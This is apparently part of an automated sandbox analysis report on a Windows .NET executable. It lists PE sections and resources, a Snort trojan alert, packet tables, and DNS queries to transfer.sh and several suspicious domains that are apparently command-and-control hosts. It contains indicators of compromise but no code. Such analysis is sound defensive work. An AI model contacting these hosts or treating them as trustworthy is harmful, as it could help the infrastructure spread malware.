IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xda00	0x4960	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4568	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x50a4	0x5200	False	0.5055259146341463	data	5.5441165013764	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x83ce	0x8400	False	0.5892518939393939	data	6.8496543545574315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xa1cc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088
RT_ICON	0xa634	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352
RT_ICON	0xb75c	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792
RT_ICON	0xddc4	0x40a2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x11e68	0x3e	data
RT_VERSION	0x11ea8	0x33c	data
RT_MANIFEST	0x121e4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
144.76.136.153192.168.2.4443497002018856 10/11/22-05:55:40.046635	TCP	2018856	ET TROJAN Windows executable base64 encoded	443	49700	144.76.136.153	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2022 05:55:38.154259920 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.154321909 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:38.154426098 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.277542114 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.277620077 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:38.372533083 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:38.372735977 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.380182981 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.380220890 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:38.380616903 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:38.422298908 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.798943043 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:38.799014091 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268387079 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268449068 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268467903 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268503904 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268556118 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268708944 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.268708944 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.268708944 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.268806934 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268847942 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268872023 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.268903017 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.268923044 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.268942118 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.292177916 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.292236090 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.292342901 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.292397976 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.292434931 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.292463064 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.292643070 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.292692900 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.292726040 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.292748928 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.292771101 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.292800903 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.293066978 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.293112040 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.293150902 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.293171883 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.293193102 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.293229103 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.315697908 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.315768003 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.315871000 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.315917015 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.315957069 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316019058 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316404104 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.316452026 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.316497087 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316517115 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.316546917 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316582918 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316741943 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.316787004 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.316831112 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316852093 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.316910982 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.316950083 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317111015 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317156076 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317257881 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317281008 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317349911 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317395926 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317441940 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317487001 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317513943 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317554951 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317585945 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317689896 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317735910 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317800999 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.317823887 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.317864895 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.318016052 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.318444014 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.341468096 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.341523886 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.341643095 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.341685057 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.341712952 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.341756105 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.341834068 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.341860056 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.341909885 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.341922998 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.341954947 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.341976881 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.342355013 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.342379093 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.342437029 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.342448950 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.342472076 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.342506886 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.342900991 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.342931032 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.342998028 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.343017101 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.343041897 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.343070030 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.343317986 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.343415022 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.343439102 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.343466043 CEST	443	49699	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.343534946 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.347095966 CEST	49699	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.358638048 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.358705997 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.358824015 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.359340906 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.359373093 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.451102972 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:39.460383892 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:39.460426092 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.046730042 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.046801090 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.046842098 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.047013998 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:40.047054052 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.047075987 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.047116041 CEST	443	49700	144.76.136.153	192.168.2.4
Oct 11, 2022 05:55:40.047138929 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:40.047156096 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:40.047184944 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:55:40.057466030 CEST	49700	443	192.168.2.4	144.76.136.153
Oct 11, 2022 05:56:51.607481956 CEST	49701	80	192.168.2.4	69.57.163.50
Oct 11, 2022 05:56:51.779848099 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:51.780102015 CEST	49701	80	192.168.2.4	69.57.163.50
Oct 11, 2022 05:56:52.316946983 CEST	49701	80	192.168.2.4	69.57.163.50
Oct 11, 2022 05:56:52.488960028 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:52.583540916 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:52.583606958 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:52.583636999 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:52.583662033 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:52.583687067 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:56:52.583897114 CEST	49701	80	192.168.2.4	69.57.163.50
Oct 11, 2022 05:56:52.583897114 CEST	49701	80	192.168.2.4	69.57.163.50
Oct 11, 2022 05:56:52.616374969 CEST	49701	80	192.168.2.4	69.57.163.50
Oct 11, 2022 05:56:52.788305044 CEST	80	49701	69.57.163.50	192.168.2.4
Oct 11, 2022 05:57:02.810306072 CEST	49702	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:02.916558981 CEST	80	49702	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:02.916804075 CEST	49702	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:02.917025089 CEST	49702	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:03.023308992 CEST	80	49702	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:03.023365021 CEST	80	49702	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:03.023391008 CEST	80	49702	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:03.023504972 CEST	49702	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:03.929622889 CEST	49702	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:04.947115898 CEST	49703	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:05.053483009 CEST	80	49703	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:05.055026054 CEST	49703	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:05.055154085 CEST	49703	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:05.161349058 CEST	80	49703	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:05.161370039 CEST	80	49703	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:05.161392927 CEST	80	49703	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:05.161488056 CEST	49703	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:06.070801020 CEST	49703	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.091698885 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.197897911 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.198056936 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.202677965 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.308909893 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.308969975 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.308998108 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309022903 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309046984 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309070110 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309092999 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309123993 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309153080 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309180975 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309206009 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.309211969 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.309247017 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.309267998 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.415437937 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.415486097 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.415513039 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.415539026 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:07.415725946 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.415776968 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.422225952 CEST	49704	80	192.168.2.4	52.60.87.163
Oct 11, 2022 05:57:07.528528929 CEST	80	49704	52.60.87.163	192.168.2.4
Oct 11, 2022 05:57:12.524444103 CEST	49705	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:12.798453093 CEST	80	49705	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:12.798674107 CEST	49705	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:13.026810884 CEST	49705	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:13.301038027 CEST	80	49705	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:13.301083088 CEST	80	49705	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:13.301125050 CEST	80	49705	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:13.301240921 CEST	49705	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:14.078805923 CEST	49705	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:15.088702917 CEST	49706	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:15.361624956 CEST	80	49706	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:15.361727953 CEST	49706	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:15.362006903 CEST	49706	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:15.634841919 CEST	80	49706	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:15.634977102 CEST	80	49706	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:15.635019064 CEST	80	49706	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:15.635080099 CEST	49706	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:16.382733107 CEST	49706	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:17.389137030 CEST	49707	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:17.660954952 CEST	80	49707	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:17.661103010 CEST	49707	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:17.661243916 CEST	49707	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:17.933465004 CEST	80	49707	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:17.933495998 CEST	80	49707	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:17.933511019 CEST	80	49707	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:17.933805943 CEST	49707	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:17.935549021 CEST	49707	80	192.168.2.4	167.179.103.237
Oct 11, 2022 05:57:18.207227945 CEST	80	49707	167.179.103.237	192.168.2.4
Oct 11, 2022 05:57:23.003757954 CEST	49708	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:23.026202917 CEST	80	49708	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:23.026376963 CEST	49708	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:23.026679039 CEST	49708	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:23.048307896 CEST	80	49708	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:23.051944971 CEST	80	49708	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:23.051994085 CEST	80	49708	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:23.052162886 CEST	49708	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:24.041023970 CEST	49708	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:25.059305906 CEST	49709	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:25.081300974 CEST	80	49709	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:25.081429005 CEST	49709	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:25.081665993 CEST	49709	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:25.103414059 CEST	80	49709	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:25.105431080 CEST	80	49709	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:25.105467081 CEST	80	49709	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:25.105709076 CEST	49709	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:26.087822914 CEST	49709	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:27.104281902 CEST	49710	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:27.126667976 CEST	80	49710	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:27.126858950 CEST	49710	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:27.127089977 CEST	49710	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:27.149111032 CEST	80	49710	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:27.150600910 CEST	80	49710	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:27.150641918 CEST	80	49710	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:27.150966883 CEST	49710	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:27.154759884 CEST	49710	80	192.168.2.4	167.235.29.175
Oct 11, 2022 05:57:27.176949024 CEST	80	49710	167.235.29.175	192.168.2.4
Oct 11, 2022 05:57:32.284390926 CEST	49711	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:32.305326939 CEST	80	49711	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:32.305466890 CEST	49711	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:32.305773973 CEST	49711	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:32.326670885 CEST	80	49711	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:32.367717981 CEST	80	49711	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:32.367748976 CEST	80	49711	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:32.367810011 CEST	49711	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:33.308125019 CEST	49711	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:34.327243090 CEST	49712	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:34.349548101 CEST	80	49712	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:34.359846115 CEST	49712	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:34.360590935 CEST	49712	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:34.381598949 CEST	80	49712	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:34.381963015 CEST	80	49712	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:34.382035017 CEST	80	49712	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:34.382076979 CEST	49712	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:35.371947050 CEST	49712	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:36.381433964 CEST	49713	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:36.402571917 CEST	80	49713	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:36.412471056 CEST	49713	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:36.412740946 CEST	49713	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:36.434798002 CEST	80	49713	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:36.435178995 CEST	80	49713	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:36.435208082 CEST	80	49713	217.160.0.167	192.168.2.4
Oct 11, 2022 05:57:36.435442924 CEST	49713	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:36.435631990 CEST	49713	80	192.168.2.4	217.160.0.167
Oct 11, 2022 05:57:36.456427097 CEST	80	49713	217.160.0.167	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2022 05:55:38.107032061 CEST	59683	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:55:38.124008894 CEST	53	59683	8.8.8.8	192.168.2.4
Oct 11, 2022 05:56:51.525070906 CEST	64167	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:56:51.554538012 CEST	53	64167	8.8.8.8	192.168.2.4
Oct 11, 2022 05:57:02.652471066 CEST	58565	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:57:02.807224035 CEST	53	58565	8.8.8.8	192.168.2.4
Oct 11, 2022 05:57:12.465046883 CEST	52239	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:57:12.489001989 CEST	53	52239	8.8.8.8	192.168.2.4
Oct 11, 2022 05:57:22.953033924 CEST	56807	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:57:23.002239943 CEST	53	56807	8.8.8.8	192.168.2.4
Oct 11, 2022 05:57:32.253392935 CEST	61007	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:57:32.283051968 CEST	53	61007	8.8.8.8	192.168.2.4
Oct 11, 2022 05:57:41.443650961 CEST	60686	53	192.168.2.4	8.8.8.8
Oct 11, 2022 05:57:41.480459929 CEST	53	60686	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 11, 2022 05:55:38.107032061 CEST	192.168.2.4	8.8.8.8	0xc273	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:56:51.525070906 CEST	192.168.2.4	8.8.8.8	0x85d1	Standard query (0)	www.negerbajs.info	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:02.652471066 CEST	192.168.2.4	8.8.8.8	0x8c00	Standard query (0)	www.augusta.broker	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:12.465046883 CEST	192.168.2.4	8.8.8.8	0xb03c	Standard query (0)	www.luregirl.net	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:22.953033924 CEST	192.168.2.4	8.8.8.8	0x7828	Standard query (0)	www.bloopacts.live	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:32.253392935 CEST	192.168.2.4	8.8.8.8	0x9274	Standard query (0)	www.skyepattest.com	A (IP address)	IN (0x0001)	false
Oct 11, 2022 05:57:41.443650961 CEST	192.168.2.4	8.8.8.8	0x96e8	Standard query (0)	www.suatvthainguyen.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
